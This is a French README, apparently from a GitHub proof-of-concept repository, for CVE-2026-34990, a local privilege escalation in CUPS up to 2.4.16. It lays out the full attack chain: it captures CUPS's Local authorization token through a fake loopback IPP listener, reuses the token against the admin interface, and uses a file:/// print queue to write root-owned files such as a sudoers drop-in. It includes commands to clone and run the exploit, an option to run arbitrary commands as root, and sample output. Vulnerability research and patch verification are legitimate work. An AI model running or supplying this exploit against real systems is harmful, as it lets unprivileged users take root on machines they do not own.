
CVE-2026-34990 — CUPS <= 2.4.16 Élévation de privilèges locale
Utilisateur local non privilégié → root, via un jeton d'autorisation
LocalCUPS divulgué et une file d'impressionfile:///contournant la politique.PoC par 0xcybersoldier
CVE-2026-34990 est une faille d'élévation de privilèges locale dans OpenPrinting CUPS affectant les versions 2.4.16 et antérieures.
Un utilisateur local non privilégié pouvant atteindre le démon CUPS (cupsd) peut potentiellement l'amener à s'authentifier auprès d'un service IPP contrôlé par l'attaquant sur l'interface loopback.
Le justificatif Authorization: Local <token> résultant peut ensuite être réutilisé contre l'interface d'administration de CUPS.
La chaîne d'attaque peut finalement être utilisée pour créer une file d'impression file:/// et amener cupsd à écrire un fichier contrôlé par l'attaquant avec les privilèges root.
La démonstration canonique utilise un fichier drop-in sudoers pour obtenir un shell root.
Ce dépôt contient un PoC Python 3 monofichier implémentant la chaîne d'attaque, incluant un mode --check plus sûr permettant de démontrer le comportement d'écriture de fichier vulnérable sans créer directement une configuration persistante d'élévation de privilèges.
| Champ | Valeur |
|---|---|
| CVE ID | CVE-2026-34990 |
| Composant | OpenPrinting CUPS (cupsd) |
| Versions affectées | <= 2.4.16 |
| Classe de vulnérabilité | CWE-306 / CWE-284 |
| Impact | Élévation de privilèges locale |
| Vecteur d'attaque | Local |
| Privilèges requis | Faibles |
| Interaction utilisateur | Aucune |
| Découvert par | Asim Viladi Oglu Manizada |
| Avis | GHSA-c54j-2vqw-wpwp |
Le PoC cible :
OpenPrinting CUPS <= 2.4.16
Vérifier la version de CUPS en cours d'exécution localement :
curl -sI http://127.0.0.1:631 | grep -i '^Server:'
Exemple :
Server: CUPS/2.4.16 IPP/2.1
Remarque : Vérifiez l'avis amont actuel avant de vous fier à la plage de versions affectées dans le cadre de recherches en production, car les correctifs des fournisseurs et le statut des versions peuvent évoluer.
[1] L'utilisateur local émet CUPS-Create-Local-Printer
|
| device-uri = ipp://127.0.0.1:9189/ipp/print
v
[2] cupsd se connecte au service IPP contrôlé
par l'attaquant sur le loopback
|
v
[3] Le faux service IPP répond avec :
401 Unauthorized
WWW-Authenticate: Local trc="y"
|
v
[4] CUPS/libcups réessaie la requête avec :
Authorization: Local <token>
|
v
[5] Jeton capturé
|
v
[6] Jeton réutilisé contre l'interface d'administration de CUPS
|
v
[7] Une imprimante temporaire file:// est créée et
passe par le flux de gestion des imprimantes
|
v
[8] Print-Job amène cupsd à écrire le document
fourni vers la cible file://
|
v
[9] La charge utile de démonstration peut modifier une
configuration privilégiée telle que sudoers
|
v
ROOT
127.0.0.1:631sudo disponible pour la démonstration d'élévation de privilègesAucun paquet Python externe n'est requis.
Cloner le dépôt :
git clone https://github.com/bara-almustafa/CVE-2026-34990-poc.git
cd CVE-2026-34990-poc
Rendre le PoC exécutable :
chmod +x cve-2026-34990.py
Aucune dépendance supplémentaire n'est requise.
Commencez par le mode de vérification non persistant :
./cve-2026-34990.py --check
Le mode vérification tente de démontrer la primitive d'écriture de fichier appartenant à root vulnérable à l'aide d'un fichier de preuve temporaire et nettoie après le test.
Le mode par défaut démontre la chaîne complète d'élévation de privilèges :
./cve-2026-34990.py
Une commande peut être fournie avec :
./cve-2026-34990.py -c 'id'
Exemple :
./cve-2026-34990.py -c 'id; whoami'
| Option | Défaut | Description |
|---|---|---|
--cups-port | 631 | Port TCP local de CUPS |
--listen-port | 9189 | Port loopback utilisé par l'écouteur de capture de jeton |
--check | Off | Mode de vérification sécurisé |
-c, --command | — | Exécuter une commande après exploitation réussie |
--proof-dir | /var/tmp | Répertoire parent pour les fichiers de preuve temporaires |
--attempts | 8 | Nombre de tentatives d'écriture de fichier |
--iterations | 80 | Nombre de cycles de requêtes IPP par tentative |
$ ./cve-2026-34990.py --check
██████╗ ██╗ ██╗ ██████╗██╗ ██╗██████╗ ███████╗██████╗ ███████╗ ██████╗ ██╗ ██████╗ ██╗███████╗██████╗
██╔═████╗╚██╗██╔╝██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗██║ ██╔══██╗██║██╔════╝██╔══██╗
██║██╔██║ ╚███╔╝ ██║ ╚████╔╝ ██████╔╝███████╗██████╔╝█████╗ ██║ ██║██║ ██║ ██║██║█████╗ ██████╔╝
████╔╝██║ ██╔██╗ ██║ ╚██╔╝ ██╔══██╗╚════██║██╔══██╗██╔══╝ ██║ ██║██║ ██║ ██║██║██╔══╝ ██╔══██╗
╚██████╔╝██╔╝ ██╗╚██████╗ ██║ ██████╔╝███████║██║ ██║███████╗╚██████╔╝███████╗██████╔╝██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝
CVE-2026-34990 :: CUPS <= 2.4.16 Élévation de privilèges locale
PoC par 0xcybersoldier
[*] Déclenchement de la fuite de jeton CUPS...
[+] Jeton d'autorisation Local CUPS capturé
[*] Course à l'écriture de fichier : tentative 1/8
[+] VULNÉRABLE : CUPS a écrit un fichier de preuve appartenant à root
Le PoC crée une imprimante CUPS temporaire dont le device-uri pointe vers un écouteur IPP contrôlé par l'attaquant sur l'interface loopback.
Exemple :
ipp://127.0.0.1:9189/ipp/print
L'écouteur local répond avec un défi d'authentification :
401 Unauthorized
WWW-Authenticate: Local trc="y"